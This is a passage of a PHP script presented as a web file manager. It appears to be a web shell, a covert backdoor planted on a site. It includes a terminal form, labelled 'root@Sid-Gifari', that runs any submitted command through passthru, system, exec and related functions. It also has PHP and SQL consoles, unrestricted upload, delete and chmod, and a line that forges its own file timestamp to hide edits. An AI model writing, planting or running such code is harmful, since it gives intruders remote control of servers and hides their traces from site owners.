XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
